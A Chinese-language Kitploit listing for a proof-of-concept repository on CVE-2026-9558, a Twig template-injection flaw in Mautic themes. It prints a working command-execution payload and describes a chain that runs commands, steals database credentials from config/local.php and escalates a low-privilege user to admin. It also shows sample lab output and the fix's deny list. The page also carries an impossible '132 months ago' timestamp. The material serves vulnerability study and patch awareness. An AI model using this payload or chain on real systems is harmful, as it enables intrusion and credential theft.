Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-9558-poc — CVE-2026-9558(SSTI Mautic Theme)的可利用性 PoC | Kitploit
工具/GitHubGitHub/covepseng/cve-2026-9558-poc
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发实验室与实践
GitHubcovepseng/cve-2026-9558-poc

cve-2026-9558-poc

CVE-2026-9558(SSTI Mautic Theme)的可利用性 PoC

查看仓库
132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-9558 — Mautic 主题模板服务端模板注入(SSTI)导致完全管理员接管

目录

  • 概述
  • 受影响版本
  • 根本原因
  • 分析
  • 仓库结构
  • 环境要求
  • 使用方法
  • 预期输出
  • 参考
  • 免责声明

概述

CVE-2026-9558 是 Mautic 主题引擎中的一个服务端模板注入(SSTI)漏洞。通过主题管理器上传的主题是包含 Twig 模板的 ZIP 压缩包,在受影响版本中,这些模板由应用程序默认的 Twig Environment 渲染,且未附加任何 SandboxExtension 策略。

由于 Twig 可以通过 map、filter 和 reduce 等过滤器调用任意 PHP 可调用对象,因此拥有主题上传权限的已认证用户可以安装一个主题,其模板一旦被渲染就会执行任意系统命令——而该渲染会在用户首次针对该主题打开邮件或落地页构建器时自动发生。

root@kitploit:~
{{ ["id"] | map("system") | join }}

受影响版本

受影响范围修复版本
>= 1.3.0, < 4.4.134.4.13(4.4.20 通过 ELTS)
>= 5.0.0, < 5.2.115.2.11
>= 6.0.0, < 6.0.96.0.9
>= 7.0.0, < 7.1.27.1.2

本实验环境针对 7.1.1,即修复前的最后一个版本。


根本原因

Mautic 的开发者文档称,主题模板会在受限的 Twig 沙箱中渲染:

Mautic 会在受限的 Twig 沙箱环境中渲染用户上传的主题模板。该沙箱会阻止某些可能导致远程代码执行、数据泄露或文件系统探测的函数和过滤器。

在受影响版本中,该沙箱策略并不存在。修复版本(7.1.2)引入了 ThemeSandboxPolicy.php,这是一个基于黑名单的 SecurityPolicyInterface 实现,用于阻止 map、filter 和 reduce 过滤器,以及包括 source()(任意文件读取)和 configGetParameter()(泄露数据库凭据和应用程序密钥)在内的若干函数。该修复自身的行内注释记录了这个 PoC 所使用的确切载荷形态:

root@kitploit:~
private const DENIED_FILTERS = [
    'map',    // {{ ['id']|map('system')|join }} -> RCE
    'reduce',
    'filter',
];

在此策略之前,任何主题渲染路径上都不存在此类限制。


分析

该攻击链已针对一个低权限账户进行了端到端验证,该账户仅具有主题(创建/编辑)和电子邮件(创建/编辑)权限组——而非管理员——以匹配公告 CVSS 向量中的 PR:L 前提条件。

  1. 命令执行——上传修改后的主题并打开邮件构建器,即可执行嵌入在主题 .twig 文件中的 system() 调用。
  2. 凭据窃取——同一原语可读取 Mautic 自身的 config/local.php,以明文形式暴露数据库凭据和应用程序 secret_key。
  3. 权限提升——利用窃取到的数据库凭据,从 SSTI 载荷内部建立直接的 PDO 连接,将低权限账户提升为 role_id 1(管理员),从而完全绕过 Mautic 的应用程序级权限检查。
root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kitploit:~
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
root@kitploit:~
rows_updated=1
confirm: 2|priv-esc|1

实证确认的前提条件

安全公告指出 PR:L。本实验环境在实践中证实了这一特定的低权限前提条件:到达渲染触发点需要同时具备主题上传权限和邮件创建权限——而非某个单一的通用低权限。除官方修复外,没有任何变通方案可以限制该问题;唯一有记录的缓解措施是将 core:themes:create 限制为受信任的管理员。


仓库结构

root@kitploit:~
cve-2026-9558-poc/
├── podman-compose.yml       # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic        # pins the official image to the vulnerable release
├── install.sh                # non-interactive mautic:install bootstrap
└── sparse/
    ├── config.json           # malicious theme manifest
    ├── sparse.zip            # theme ready to be uploaded
    └── html/
        ├── email.html.twig   # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
        ├── ...               # Other .twig files
        └── .../              # Other directories (e.g css)

环境要求

工具版本说明
Podman≥ 4.0需要 podman-compose
curl任意由 install.sh 用于轮询就绪状态

此 PoC 中的利用通过 Mautic Web UI 手动执行(主题管理器上传 → 邮件构建器),与真实攻击者的工作流程一致:主题上传是文件操作,而非在此分析阶段值得自动化的 API 调用。


使用方法

1. 构建并启动实验环境

root@kitploit:~
podman-compose up -d
./install.sh

install.sh 会等待应用容器接受连接,然后以非交互方式运行 mautic:install,以引导创建第一个管理员账户。

2. 创建低权限账户

在 UI 中创建一个自定义角色,仅启用主题(创建/编辑)和电子邮件(创建/编辑),并将一个用户分配给该角色。这样可以复现 PR:L 前提条件,而不是以管理员身份进行测试。

3. 上传恶意主题

以低权限用户身份登录。从主题 → 上传中,上传一个由 sparse/config.json 和 sparse/html/page.html.twig 构建的 ZIP(或任意内置主题的修改副本,并在其 .twig 文件中添加载荷行)。

4. 触发渲染

从渠道 → 电子邮件 → 新建中,选择上传的主题作为模板,然后打开构建器。主题一旦为预览而渲染,载荷便会立即执行。

5. 清理

root@kitploit:~
podman-compose down -v

预期输出

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考


免责声明

本仓库仅用于教育目的和本地可利用性分析。所有测试均针对自托管的容器环境进行。请勿对你不拥有或未经明确书面授权测试的系统运行此 PoC。

下载工具
资源链接
安全公告GHSA-9fx4-7cmj-47vg
修复(沙箱策略)ThemeSandboxPolicy.php
受影响仓库mautic/mautic
完整分析——博客文章return-zero.dev/posts/cve-2026-9558